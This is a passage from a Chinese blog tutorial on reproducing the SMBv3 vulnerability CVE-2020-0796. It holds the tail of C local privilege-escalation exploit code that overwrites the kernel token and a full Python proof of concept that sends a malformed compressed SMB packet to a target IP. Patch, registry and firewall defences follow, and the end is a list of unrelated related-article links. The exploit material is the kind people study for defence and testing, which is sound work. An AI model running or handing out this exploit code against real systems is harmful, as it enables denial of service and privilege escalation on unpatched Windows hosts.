finish SMB negotiation\n");return error_exit(sock, "send()");}printf("Finished SMB negotiation\n");ULONG buffer_size = 0x1110;UCHAR *buffer = (UCHAR *)malloc(buffer_size);if (buffer == NULL) {printf("Couldn't allocate memory with malloc()\n");return error_exit(sock, NULL);}ktoken = get_process_token();if (ktoken == -1) {printf("Couldn't leak ktoken of current process...\n");return EXIT_FAILURE;}printf("Found kernel token at %#llx\n", ktoken);memset(buffer, 'A', 0x1108);*(uint64_t*)(buffer + 0x1108) = ktoken + 0x40; /* where we want to write */ULONG CompressBufferWorkSpaceSize = 0;ULONG CompressFragmentWorkSpaceSize = 0;err = RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_XPRESS, &CompressBufferWorkSpaceSize, &CompressFragmentWorkSpaceSize);if (err != STATUS_SUCCESS) {printf("RtlGetCompressionWorkSpaceSize() failed with error: %d\n", err);return error_exit(sock, NULL);}ULONG FinalCompressedSize;UCHAR compressed_buffer[64];LPVOID lpWorkSpace = malloc(CompressBufferWorkSpaceSize);if (lpWorkSpace == NULL) {printf("Couldn't allocate memory with malloc()\n");return error_exit(sock, NULL);}err = RtlCompressBuffer(COMPRESSION_FORMAT_XPRESS, buffer, buffer_size,compressed_buffer, sizeof(compressed_buffer), 4096, &FinalCompressedSize, lpWorkSpace);if (err != STATUS_SUCCESS) {printf("RtlCompressBuffer() failed with error: %#x\n", err);free(lpWorkSpace);return error_exit(sock, NULL);}printf("Sending compressed buffer...\n");if (send_compressed(sock, compressed_buffer, FinalCompressedSize) == SOCKET_ERROR) {return error_exit(sock, "send()");}printf("SEP_TOKEN_PRIVILEGES changed\n");inject();WSACleanup();return EXIT_SUCCESS;
}


2.Python代码解析

CVE-2020-0796-POC.py

import socket, struct, sysclass Smb2Header:def __init__(self, command, message_id):self.protocol_id = "\xfeSMB"self.structure_size = "\x40\x00"  # Must be set to 0x40self.credit_charge = "\x00"*2self.channel_sequence = "\x00"*2self.channel_reserved = "\x00"*2self.command = commandself.credits_requested = "\x00"*2  # Number of credits requested / grantedself.flags = "\x00"*4self.chain_offset = "\x00"*4  # Points to next messageself.message_id = message_idself.reserved = "\x00"*4self.tree_id = "\x00"*4  # Changes for some commandsself.session_id = "\x00"*8self.signature = "\x00"*16def get_packet(self):return self.protocol_id + self.structure_size + self.credit_charge + self.channel_sequence + self.channel_reserved + self.command + self.credits_requested + self.flags + self.chain_offset + self.message_id + self.reserved + self.tree_id + self.session_id + self.signatureclass Smb2NegotiateRequest:def __init__(self):self.header = Smb2Header("\x00"*2, "\x00"*8)self.structure_size = "\x24\x00"self.dialect_count = "\x08\x00"  # 8 dialectsself.security_mode = "\x00"*2self.reserved = "\x00"*2self.capabilities = "\x7f\x00\x00\x00"self.guid = "\x01\x02\xab\xcd"*4self.negotiate_context = "\x78\x00"self.additional_padding = "\x00"*2self.negotiate_context_count = "\x02\x00"  # 2 Contextsself.reserved_2 = "\x00"*2self.dialects = "\x02\x02" + "\x10\x02" + "\x22\x02" + "\x24\x02" + "\x00\x03" + "\x02\x03" + "\x10\x03" + "\x11\x03"  # SMB 2.0.2, 2.1, 2.2.2, 2.2.3, 3.0, 3.0.2, 3.1.0, 3.1.1self.padding = "\x00"*4def context(self, type, length):data_length = lengthreserved = "\x00"*4return type + data_length + reserveddef preauth_context(self):hash_algorithm_count = "\x01\x00"  # 1 hash algorithmsalt_length = "\x20\x00"hash_algorithm = "\x01\x00"  # SHA512salt = "\x00"*32pad = "\x00"*2length = "\x26\x00"context_header = self.context("\x01\x00", length)return context_header + hash_algorithm_count + salt_length + hash_algorithm + salt + paddef compression_context(self):compression_algorithm_count = "\x03\x00"  # 3 Compression algorithmspadding = "\x00"*2flags = "\x01\x00\x00\x00"algorithms = "\x01\x00" + "\x02\x00" + "\x03\x00"  # LZNT1 + LZ77 + LZ77+Huffmanlength = "\x0e\x00"context_header = self.context("\x03\x00", length)return context_header + compression_algorithm_count + padding + flags + algorithmsdef get_packet(self):padding = "\x00"*8return self.header.get_packet() + self.structure_size + self.dialect_count + self.security_mode + self.reserved + self.capabilities + self.guid + self.negotiate_context + self.additional_padding + self.negotiate_context_count + self.reserved_2 + self.dialects + self.padding + self.preauth_context() + self.compression_context() + paddingclass NetBIOSWrapper:def __init__(self, data):self.session = "\x00"self.length = struct.pack('>i', len(data)).decode('latin1')[1:]self.data = datadef get_packet(self):return self.session + self.length + self.dataclass Smb2CompressedTransformHeader:def __init__(self, data):self.data = dataself.protocol_id = "\xfcSMB"self.original_decompressed_size = struct.pack('<i', len(self.data)).decode('latin1')self.compression_algorithm = "\x01\x00"self.flags = "\x00"*2self.offset = "\xff\xff\xff\xff"  # Exploit the vulnerabilitydef get_packet(self):return self.protocol_id + self.original_decompressed_size + self.compression_algorithm + self.flags + self.offset + self.datadef send_negotiation(sock):negotiate = Smb2NegotiateRequest()packet = NetBIOSWrapper(negotiate.get_packet()).get_packet()sock.send(packet.encode('latin1'))sock.recv(3000)def send_compressed(sock, data):compressed = Smb2CompressedTransformHeader(data)packet = NetBIOSWrapper(compressed.get_packet()).get_packet()sock.send(packet.encode('latin1'))#sock.recv(1000)if __name__ == "__main__":if len(sys.argv) != 2:exit("[-] Supply an IP: {} IP_ADDR".format(sys.argv[0]))sock = socket.socket(socket.AF_INET)sock.settimeout(3)sock.connect((sys.argv[1], 445))send_negotiation(sock)send_compressed(sock, "A" * 50)


五.防御措施

写到这里,这篇CVE-2020-0796漏洞复现的文章就介绍结束了,希望对您有所帮助。这篇文章也存在一些不足,作者没有更深入的理解其原理,也是作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。

最后补充防御方法:

  • 运行Windows更新,完成Windows10 2020年3月累积更新补丁的安装。
    操作步骤:设置->更新和安全->Windows更新,点击“检查更新”。
  • 直接下载对应补丁进行安装(KB4551762)。
    https://www.catalog.update.microsoft.com/Search.aspx?q=KB4551762
  • 访问微软该漏洞官方页面,选择相应的Windows版本安全更新,独立安装该漏洞安全补丁。
    https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796

在这里插入图片描述

  • 根据BleepingComputer的说法,尽管Microsoft并未共享禁用SMBv3压缩的官方方法,但是Foregenix Solutions架构师Niall Newman在分析了Srv2.sys文件后可以通过手动修改注册表,防止被黑客远程攻击。
    (1) 在注册表“HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters”建立一个名为DisableCompression的DWORD,值为1,禁止SMB的压缩功能。
    (2) 在管理员模式启动PowerShell,将以下命令复制到Powershell命令行,执行即可。

Set-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters” DisableCompression -Type DWORD -Value 1 -Force

在这里插入图片描述

在这里插入图片描述

  • 若无业务必要,在网络安全域边界防火墙封堵文件打印和共享端口TCP 135/139/445以缓解此问题。
  • 可以通过安全厂商的漏洞检验和修复工具来检查是否存在漏洞和进行漏洞修复。


六.总结

希望这系列文章对您有所帮助,真的感觉自己技术好菜,要学的知识好多。转眼4月份到来,这是第64篇原创的安全系列文章,从网络安全到系统安全,从木马病毒到后门劫持,从恶意代码到溯源分析,从渗透工具到二进制工具,还有Python安全、顶会论文、黑客比赛和漏洞分享。未知攻焉知防,人生漫漫其路远兮,作为初学者,自己真是爬着前行;同时学术论文得深入了,加油!感谢很多人的帮助,继续爬着,继续加油!

欢迎大家讨论,是否觉得这系列文章帮助到您!任何建议都可以评论告知读者,共勉。

(By:Eastmount 2020-04-07 晚上10点写于贵阳 http://blog.csdn.net/eastmount/ )



参考文献:
[1] https://github.com/danigargu/CVE-2020-0796
[2] https://github.com/ollypwn/SMBGhost
[3] https://github.com/eastmountyxz/CVE-2020-0796-SMB
[4] https://github.com/joaozietolie/CVE-2020-0796-Checker
[5] 更新 : 公开渠道出现本地提权工具 | 微软 Windows SMBv3服务远程代码执行漏洞(CVE-2020-0796)通告 - 奇安信威胁情报中心 红雨滴团队
[6] 关于CVE-2020-0796 - 我要变超人
[7] CVE-2020-0796本地利用简析
[8] CVE-2020-0796蓝屏POC 漏洞复现 - Jie_Blog
[9] https://download.csdn.net/download/ltt440888/12255558
[10] CVE-2020-0796 SMBv3漏洞复现(蓝屏poc) - L0ading
[11] CVE-2020-0796:SMBv3的RCE漏洞,下一个EternalBlue?- NOSEC平台
[12] 135、137、138、139和445端口 - 谢公子大佬
[13] Linux文件共享服务之Samba - 谢公子大佬
[14] 445端口不通经验总结 - frankarmstrong
[15] 计划任务中使用NT AUTHORITY\SYSTEM用户和普通管理员用户有什么区别 - shangzhihaohao
[16] https://www.bilibili.com/video/av97457537/
[17] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796
[18] CVE-2020-0796 SMBv3漏洞蓝屏复现+提权 - anlalu233
[19] https://github.com/ZecOps/CVE-2020-0796-LPE-POC

查看全文
如若内容造成侵权/违法违规/事实不符,请联系编程学习网邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!

相关文章

  1. springboot 之页面资源小探

    SpringBoot 页面资源小探众里寻他千百度,蓦然回首,那人却在灯火阑珊处springboot的静态资源小探SpringBoot与JSP的整合 众里寻他千百度,蓦然回首,那人却在灯火阑珊处 视图,是Web开发最熟悉的小伙伴。最难过的时候,莫过于你觉得路径对了,但他隐身了。本文简单阐述springb…...

    2024/4/27 19:43:41
  2. 软考信息安全工程师学习笔记一 (1.1信息安全概念)

    第1章:信息安全基础1.1 信息安全概念欢迎加入最棒的信息安全工程师社群,分享信息安全工程师备考干货资料。备考交流QQ群:39460595https://www.moondream.cn/?p=517一.大纲要求1.1 了解网络空间的概念、网络空间安全学科的内涵、网络空间安全学科的主要研究方向与研究内容二…...

    2024/4/21 9:41:47
  3. 20189317 《网络攻防技术》 第四周作业

    一.《网络攻防技术》第四章的学习 主要学习内容网络嗅探与网络协议分析1.网络嗅探(sniff)是一种黑客常用的窃听技术,利用计算机的网络接口截获目的地为其他计算机的数据报文,以监听数据流中所包含的用户账户密码或私密通信等。实现网络嗅探的工具称为网络嗅探器(Sniffer)…...

    2024/4/21 9:41:44
  4. 英文名为什么最好不用joe?JOE英文名的寓意是什么?

    英文名为什么最好不用joe?JOE英文名的寓意是什么? Joe 的意思是乔,人名。意为,上帝还会赐予 Joe 乔(男子名, 对不相识者非正式的称呼; Joseph的昵称)(=GIJoe)[美俚]美国兵[美俚]家伙[joe ][苏]四便士的银币[joe ][美俚]咖啡[joe ][苏]情人 是个泛指的称呼,所以最好不用。...

    2024/4/21 9:41:43
  5. [网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习

    这是作者的系列网络安全自学教程,主要是关于网安工具和实践操作的在线笔记,特分享出来与博友共勉,希望您们喜欢,一起进步。前文分享了Web渗透的第一步工作,涉及网站信息、域名信息、端口信息、敏感信息及指纹信息收集。这篇文章换个口味,将分享机器学习在安全领域的应用,…...

    2024/4/21 9:41:42
  6. 【JAVA】从0开始写DHT/磁力爬虫 01 序章

    前段时间空闲时间比较多,又迫于想看的美剧找不到合适的资源,于是萌生了为何不自己实现一个DHT爬虫来获取磁力/种子资源搭建一个属于自己的文件索引库呢?说做就做,要想做磁力爬虫就要先了解一下什么是DHT协议。 这里我找了几篇文档方便大家对DHT有一定的了解;官方文档 BEP_…...

    2024/4/21 9:41:41
  7. [网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集

    这是作者的系列网络安全自学教程,主要是关于网安工具和实践操作的在线笔记,特分享出来与博友共勉,希望您们喜欢,一起进步。前文分享了Powershell基础入门知识,涉及条件语句、循环语句、数组、函数 、字符串操作、注册表访问等。这篇文章将分享Web渗透的第一步工作,涉及网…...

    2024/4/29 1:07:47
  8. Kali-linux无线网络嗅探工具Kismet

    如果要进行无线网络渗透测试,则必须先扫描所有有效的无线接入点。刚好在Kali Linux中,提供了一款嗅探无线网络工具Kismet。使用该工具可以测量周围的无线信号,并查看所有可用的无线接入点。本节将介绍使用Kismet工具嗅探无线网络。 (1)启动Kismet工具。执行命令如下所示:…...

    2024/4/21 9:41:41
  9. 米斯特WEB安全攻防白帽子培训视频教程 网站安全检测培训教程 第二期

    [free]乌云网已经被封了,这套教程是网络仅有的几套白帽子教程之一,有兴趣的朋友珍惜哦![/free]下载地址:百度网盘...

    2024/4/21 9:41:38
  10. 《WireShark数据包分析实战》一、数据包分析技术与网络基础

    1.1、数据包嗅探器工作原理1、收集,数据包嗅探器从网络线缆上收集原始二进制数据。通过情况下,通过将选定的网卡设置成混杂模式来完成抓包。该模式下网卡将抓取一个网段上所有的网络通信流量,而不仅是发往它的数据包。2、转换,将捕获的二进制数据转换成可读形式。3、分析,…...

    2024/4/21 9:41:37
  11. [网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步。前文分享了基于SEH异常处理机制的栈溢出漏洞,利用一个恶意的请求头部(HEAD或GET)引起缓冲区溢出,从而改写SEH链的地址并反弹Shell。本文将讲解…...

    2024/4/21 9:41:36
  12. 黑客大曝光:网络安全机密与解决方案(第7版)

    http://product.china-pub.com/3768509#ml...

    2024/4/29 5:11:58
  13. Qt for android 在中英文不同的环境下自动识别更换APP和应用程序名字

    目前我所知修改APP的名称,有两种方法:第一种:直接修改AndroidManifest.xml首先你在创建 Qt on Android 工程时需要创建一个 AndroidManifest.xml 文件在 Qt Creator 中打开 AndroidManifest.xml 文件,切换到 XML 源码模式,如图 :...

    2024/4/21 9:41:34
  14. 软考信息安全工程师学习笔记目录

    软考信息安全工程师学习笔记目录欢迎加入最棒的信息安全工程师社群,分享信息安全工程师备考干货资料。备考交流QQ群:394605952019年软考信息安全工程师备考学习资料包1.《信息安全工程师教程》重点标记版2.《信息安全工程师考试大纲》 含思维导图3.信息安全工程师思维导图(1…...

    2024/4/21 9:41:33
  15. [网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向

    这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步。前文分享了宏病毒相关知识,包括宏病毒基础原理、防御措施、自发邮件及APT28样本分析。这篇文章作者将继续分析WannaCry勒索病毒,主要通过IDA和OD逆…...

    2024/4/20 18:05:37
  16. Linux安全渗透教程——大学霸内部资料

    Linux安全渗透视频观看地址:http://v.youku.com/v_show/id_XNzAxODQ2OTYw.html渗透测试是通过模拟恶意黑客的攻击方法,来评估计算机网络系统安全的一种评估方法。这样可以促使用户的重要信息减少攻击和误用的危险。 教程介绍: 本教程将从安全渗透的基本知识讲起,由浅入深地…...

    2024/4/20 18:05:35
  17. [网络安全自学篇] 七十六.逆向分析之OllyDbg动态调试工具(二)INT3断点、反调试、硬件断点与内存断点

    这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步。前文分享了Vulnhub靶机渗透题目bulldog,包括信息收集及目录扫描、源码解读及系统登陆、命令注入和shell反弹、权限提升和获取flag。这篇文章将讲解逆向…...

    2024/4/20 12:46:45
  18. 网络攻防 第四周学习总结

    教材学习内容总结 第四章主要介绍了网络嗅探和协议分析网络嗅探是一种常用的窃听技术,它利用计算机的网络接口截获目的地为其他计算机的数据报文,以监听数据流中所包含的用户账户密码或私密信息等。 网络嗅探具有很强的隐蔽性,往往让网络信息泄露很难被发觉。实现网络嗅探技…...

    2024/4/20 18:05:33
  19. “权限”用英语该用哪个?

    “权限”是我们设计系统必不可少的,关于“权限”的英语单词也很多,该用哪个呢?我参照有关“权限”的英文软件,总结如下,不足之处,多多指正: Permission:权限,包括动作和客体,比如:添加文档,“添加”是动作,“文档”是客体。相近的也有:Access Control。 Privileg…...

    2024/4/21 9:41:32
  20. [网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析

    本文主要结合作者的《系统安全前沿》作业,师姐的论文及绿盟李东宏老师的博客,从产业界和学术界分别详细讲解恶意代码攻击溯源的相关知识。在学术界方面,用类似于综述来介绍攻击追踪溯源的不同方法;在产业界方面,主要参考李东宏老师从企业恶意样本分析的角度介绍溯源工作。…...

    2024/4/21 9:41:32

最新文章

  1. Linux 文件管理命令 tr col colrm fold iconv

    文章目录 2.Linux 文件管理命令2.49 tr&#xff1a;转换字符案例练习 2.50 col&#xff1a;过滤控制字符案例练习 2.51 colrm&#xff1a;删除指定的行案例练习 2.52 fold&#xff1a;限制文件列宽案例练习 2.53 iconv&#xff1a;转换给定文件的编码案例练习 2.Linux 文件管理…...

    2024/5/2 2:24:59
  2. 梯度消失和梯度爆炸的一些处理方法

    在这里是记录一下梯度消失或梯度爆炸的一些处理技巧。全当学习总结了如有错误还请留言&#xff0c;在此感激不尽。 权重和梯度的更新公式如下&#xff1a; w w − η ⋅ ∇ w w w - \eta \cdot \nabla w ww−η⋅∇w 个人通俗的理解梯度消失就是网络模型在反向求导的时候出…...

    2024/3/20 10:50:27
  3. [C++][算法基础]模拟队列(数组)

    实现一个队列&#xff0c;队列初始为空&#xff0c;支持四种操作&#xff1a; push x – 向队尾插入一个数 x&#xff1b;pop – 从队头弹出一个数&#xff1b;empty – 判断队列是否为空&#xff1b;query – 查询队头元素。 现在要对队列进行 M 个操作&#xff0c;其中的每…...

    2024/5/1 13:02:53
  4. C# 构建可定时关闭的异步提示弹窗

    C# 构建可定时关闭的异步提示弹窗 引言1、调用接口的实现2、自动定时窗口的实现 引言 我们在最常用最简单的提示弹框莫过于MessageBox.Show( )的方法了&#xff0c;但是使用久了之后&#xff0c;你会发现这个MessageBox并不是万能的&#xff0c;有事后并不想客户去点击&#x…...

    2024/4/30 2:59:02
  5. 【外汇早评】美通胀数据走低,美元调整

    原标题:【外汇早评】美通胀数据走低,美元调整昨日美国方面公布了新一期的核心PCE物价指数数据,同比增长1.6%,低于前值和预期值的1.7%,距离美联储的通胀目标2%继续走低,通胀压力较低,且此前美国一季度GDP初值中的消费部分下滑明显,因此市场对美联储后续更可能降息的政策…...

    2024/5/1 17:30:59
  6. 【原油贵金属周评】原油多头拥挤,价格调整

    原标题:【原油贵金属周评】原油多头拥挤,价格调整本周国际劳动节,我们喜迎四天假期,但是整个金融市场确实流动性充沛,大事频发,各个商品波动剧烈。美国方面,在本周四凌晨公布5月份的利率决议和新闻发布会,维持联邦基金利率在2.25%-2.50%不变,符合市场预期。同时美联储…...

    2024/4/30 18:14:14
  7. 【外汇周评】靓丽非农不及疲软通胀影响

    原标题:【外汇周评】靓丽非农不及疲软通胀影响在刚结束的周五,美国方面公布了新一期的非农就业数据,大幅好于前值和预期,新增就业重新回到20万以上。具体数据: 美国4月非农就业人口变动 26.3万人,预期 19万人,前值 19.6万人。 美国4月失业率 3.6%,预期 3.8%,前值 3…...

    2024/4/29 2:29:43
  8. 【原油贵金属早评】库存继续增加,油价收跌

    原标题:【原油贵金属早评】库存继续增加,油价收跌周三清晨公布美国当周API原油库存数据,上周原油库存增加281万桶至4.692亿桶,增幅超过预期的74.4万桶。且有消息人士称,沙特阿美据悉将于6月向亚洲炼油厂额外出售更多原油,印度炼油商预计将每日获得至多20万桶的额外原油供…...

    2024/4/30 18:21:48
  9. 【外汇早评】日本央行会议纪要不改日元强势

    原标题:【外汇早评】日本央行会议纪要不改日元强势近两日日元大幅走强与近期市场风险情绪上升,避险资金回流日元有关,也与前一段时间的美日贸易谈判给日本缓冲期,日本方面对汇率问题也避免继续贬值有关。虽然今日早间日本央行公布的利率会议纪要仍然是支持宽松政策,但这符…...

    2024/4/27 17:58:04
  10. 【原油贵金属早评】欧佩克稳定市场,填补伊朗问题的影响

    原标题:【原油贵金属早评】欧佩克稳定市场,填补伊朗问题的影响近日伊朗局势升温,导致市场担忧影响原油供给,油价试图反弹。此时OPEC表态稳定市场。据消息人士透露,沙特6月石油出口料将低于700万桶/日,沙特已经收到石油消费国提出的6月份扩大出口的“适度要求”,沙特将满…...

    2024/4/27 14:22:49
  11. 【外汇早评】美欲与伊朗重谈协议

    原标题:【外汇早评】美欲与伊朗重谈协议美国对伊朗的制裁遭到伊朗的抗议,昨日伊朗方面提出将部分退出伊核协议。而此行为又遭到欧洲方面对伊朗的谴责和警告,伊朗外长昨日回应称,欧洲国家履行它们的义务,伊核协议就能保证存续。据传闻伊朗的导弹已经对准了以色列和美国的航…...

    2024/4/28 1:28:33
  12. 【原油贵金属早评】波动率飙升,市场情绪动荡

    原标题:【原油贵金属早评】波动率飙升,市场情绪动荡因中美贸易谈判不安情绪影响,金融市场各资产品种出现明显的波动。随着美国与中方开启第十一轮谈判之际,美国按照既定计划向中国2000亿商品征收25%的关税,市场情绪有所平复,已经开始接受这一事实。虽然波动率-恐慌指数VI…...

    2024/4/30 9:43:09
  13. 【原油贵金属周评】伊朗局势升温,黄金多头跃跃欲试

    原标题:【原油贵金属周评】伊朗局势升温,黄金多头跃跃欲试美国和伊朗的局势继续升温,市场风险情绪上升,避险黄金有向上突破阻力的迹象。原油方面稍显平稳,近期美国和OPEC加大供给及市场需求回落的影响,伊朗局势并未推升油价走强。近期中美贸易谈判摩擦再度升级,美国对中…...

    2024/4/27 17:59:30
  14. 【原油贵金属早评】市场情绪继续恶化,黄金上破

    原标题:【原油贵金属早评】市场情绪继续恶化,黄金上破周初中国针对于美国加征关税的进行的反制措施引发市场情绪的大幅波动,人民币汇率出现大幅的贬值动能,金融市场受到非常明显的冲击。尤其是波动率起来之后,对于股市的表现尤其不安。隔夜美国股市出现明显的下行走势,这…...

    2024/4/25 18:39:16
  15. 【外汇早评】美伊僵持,风险情绪继续升温

    原标题:【外汇早评】美伊僵持,风险情绪继续升温昨日沙特两艘油轮再次发生爆炸事件,导致波斯湾局势进一步恶化,市场担忧美伊可能会出现摩擦生火,避险品种获得支撑,黄金和日元大幅走强。美指受中美贸易问题影响而在低位震荡。继5月12日,四艘商船在阿联酋领海附近的阿曼湾、…...

    2024/4/28 1:34:08
  16. 【原油贵金属早评】贸易冲突导致需求低迷,油价弱势

    原标题:【原油贵金属早评】贸易冲突导致需求低迷,油价弱势近日虽然伊朗局势升温,中东地区几起油船被袭击事件影响,但油价并未走高,而是出于调整结构中。由于市场预期局势失控的可能性较低,而中美贸易问题导致的全球经济衰退风险更大,需求会持续低迷,因此油价调整压力较…...

    2024/4/26 19:03:37
  17. 氧生福地 玩美北湖(上)——为时光守候两千年

    原标题:氧生福地 玩美北湖(上)——为时光守候两千年一次说走就走的旅行,只有一张高铁票的距离~ 所以,湖南郴州,我来了~ 从广州南站出发,一个半小时就到达郴州西站了。在动车上,同时改票的南风兄和我居然被分到了一个车厢,所以一路非常愉快地聊了过来。 挺好,最起…...

    2024/4/29 20:46:55
  18. 氧生福地 玩美北湖(中)——永春梯田里的美与鲜

    原标题:氧生福地 玩美北湖(中)——永春梯田里的美与鲜一觉醒来,因为大家太爱“美”照,在柳毅山庄去寻找龙女而错过了早餐时间。近十点,向导坏坏还是带着饥肠辘辘的我们去吃郴州最富有盛名的“鱼头粉”。说这是“十二分推荐”,到郴州必吃的美食之一。 哇塞!那个味美香甜…...

    2024/4/30 22:21:04
  19. 氧生福地 玩美北湖(下)——奔跑吧骚年!

    原标题:氧生福地 玩美北湖(下)——奔跑吧骚年!让我们红尘做伴 活得潇潇洒洒 策马奔腾共享人世繁华 对酒当歌唱出心中喜悦 轰轰烈烈把握青春年华 让我们红尘做伴 活得潇潇洒洒 策马奔腾共享人世繁华 对酒当歌唱出心中喜悦 轰轰烈烈把握青春年华 啊……啊……啊 两…...

    2024/5/1 4:32:01
  20. 扒开伪装医用面膜,翻六倍价格宰客,小姐姐注意了!

    原标题:扒开伪装医用面膜,翻六倍价格宰客,小姐姐注意了!扒开伪装医用面膜,翻六倍价格宰客!当行业里的某一品项火爆了,就会有很多商家蹭热度,装逼忽悠,最近火爆朋友圈的医用面膜,被沾上了污点,到底怎么回事呢? “比普通面膜安全、效果好!痘痘、痘印、敏感肌都能用…...

    2024/4/27 23:24:42
  21. 「发现」铁皮石斛仙草之神奇功效用于医用面膜

    原标题:「发现」铁皮石斛仙草之神奇功效用于医用面膜丽彦妆铁皮石斛医用面膜|石斛多糖无菌修护补水贴19大优势: 1、铁皮石斛:自唐宋以来,一直被列为皇室贡品,铁皮石斛生于海拔1600米的悬崖峭壁之上,繁殖力差,产量极低,所以古代仅供皇室、贵族享用 2、铁皮石斛自古民间…...

    2024/4/28 5:48:52
  22. 丽彦妆\医用面膜\冷敷贴轻奢医学护肤引导者

    原标题:丽彦妆\医用面膜\冷敷贴轻奢医学护肤引导者【公司简介】 广州华彬企业隶属香港华彬集团有限公司,专注美业21年,其旗下品牌: 「圣茵美」私密荷尔蒙抗衰,产后修复 「圣仪轩」私密荷尔蒙抗衰,产后修复 「花茵莳」私密荷尔蒙抗衰,产后修复 「丽彦妆」专注医学护…...

    2024/4/30 9:42:22
  23. 广州械字号面膜生产厂家OEM/ODM4项须知!

    原标题:广州械字号面膜生产厂家OEM/ODM4项须知!广州械字号面膜生产厂家OEM/ODM流程及注意事项解读: 械字号医用面膜,其实在我国并没有严格的定义,通常我们说的医美面膜指的应该是一种「医用敷料」,也就是说,医用面膜其实算作「医疗器械」的一种,又称「医用冷敷贴」。 …...

    2024/4/30 9:43:22
  24. 械字号医用眼膜缓解用眼过度到底有无作用?

    原标题:械字号医用眼膜缓解用眼过度到底有无作用?医用眼膜/械字号眼膜/医用冷敷眼贴 凝胶层为亲水高分子材料,含70%以上的水分。体表皮肤温度传导到本产品的凝胶层,热量被凝胶内水分子吸收,通过水分的蒸发带走大量的热量,可迅速地降低体表皮肤局部温度,减轻局部皮肤的灼…...

    2024/4/30 9:42:49
  25. 配置失败还原请勿关闭计算机,电脑开机屏幕上面显示,配置失败还原更改 请勿关闭计算机 开不了机 这个问题怎么办...

    解析如下&#xff1a;1、长按电脑电源键直至关机&#xff0c;然后再按一次电源健重启电脑&#xff0c;按F8健进入安全模式2、安全模式下进入Windows系统桌面后&#xff0c;按住“winR”打开运行窗口&#xff0c;输入“services.msc”打开服务设置3、在服务界面&#xff0c;选中…...

    2022/11/19 21:17:18
  26. 错误使用 reshape要执行 RESHAPE,请勿更改元素数目。

    %读入6幅图像&#xff08;每一幅图像的大小是564*564&#xff09; f1 imread(WashingtonDC_Band1_564.tif); subplot(3,2,1),imshow(f1); f2 imread(WashingtonDC_Band2_564.tif); subplot(3,2,2),imshow(f2); f3 imread(WashingtonDC_Band3_564.tif); subplot(3,2,3),imsho…...

    2022/11/19 21:17:16
  27. 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机...

    win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”问题的解决方法在win7系统关机时如果有升级系统的或者其他需要会直接进入一个 等待界面&#xff0c;在等待界面中我们需要等待操作结束才能关机&#xff0c;虽然这比较麻烦&#xff0c;但是对系统进行配置和升级…...

    2022/11/19 21:17:15
  28. 台式电脑显示配置100%请勿关闭计算机,“准备配置windows 请勿关闭计算机”的解决方法...

    有不少用户在重装Win7系统或更新系统后会遇到“准备配置windows&#xff0c;请勿关闭计算机”的提示&#xff0c;要过很久才能进入系统&#xff0c;有的用户甚至几个小时也无法进入&#xff0c;下面就教大家这个问题的解决方法。第一种方法&#xff1a;我们首先在左下角的“开始…...

    2022/11/19 21:17:14
  29. win7 正在配置 请勿关闭计算机,怎么办Win7开机显示正在配置Windows Update请勿关机...

    置信有很多用户都跟小编一样遇到过这样的问题&#xff0c;电脑时发现开机屏幕显现“正在配置Windows Update&#xff0c;请勿关机”(如下图所示)&#xff0c;而且还需求等大约5分钟才干进入系统。这是怎样回事呢&#xff1f;一切都是正常操作的&#xff0c;为什么开时机呈现“正…...

    2022/11/19 21:17:13
  30. 准备配置windows 请勿关闭计算机 蓝屏,Win7开机总是出现提示“配置Windows请勿关机”...

    Win7系统开机启动时总是出现“配置Windows请勿关机”的提示&#xff0c;没过几秒后电脑自动重启&#xff0c;每次开机都这样无法进入系统&#xff0c;此时碰到这种现象的用户就可以使用以下5种方法解决问题。方法一&#xff1a;开机按下F8&#xff0c;在出现的Windows高级启动选…...

    2022/11/19 21:17:12
  31. 准备windows请勿关闭计算机要多久,windows10系统提示正在准备windows请勿关闭计算机怎么办...

    有不少windows10系统用户反映说碰到这样一个情况&#xff0c;就是电脑提示正在准备windows请勿关闭计算机&#xff0c;碰到这样的问题该怎么解决呢&#xff0c;现在小编就给大家分享一下windows10系统提示正在准备windows请勿关闭计算机的具体第一种方法&#xff1a;1、2、依次…...

    2022/11/19 21:17:11
  32. 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”的解决方法...

    今天和大家分享一下win7系统重装了Win7旗舰版系统后&#xff0c;每次关机的时候桌面上都会显示一个“配置Windows Update的界面&#xff0c;提示请勿关闭计算机”&#xff0c;每次停留好几分钟才能正常关机&#xff0c;导致什么情况引起的呢&#xff1f;出现配置Windows Update…...

    2022/11/19 21:17:10
  33. 电脑桌面一直是清理请关闭计算机,windows7一直卡在清理 请勿关闭计算机-win7清理请勿关机,win7配置更新35%不动...

    只能是等着&#xff0c;别无他法。说是卡着如果你看硬盘灯应该在读写。如果从 Win 10 无法正常回滚&#xff0c;只能是考虑备份数据后重装系统了。解决来方案一&#xff1a;管理员运行cmd&#xff1a;net stop WuAuServcd %windir%ren SoftwareDistribution SDoldnet start WuA…...

    2022/11/19 21:17:09
  34. 计算机配置更新不起,电脑提示“配置Windows Update请勿关闭计算机”怎么办?

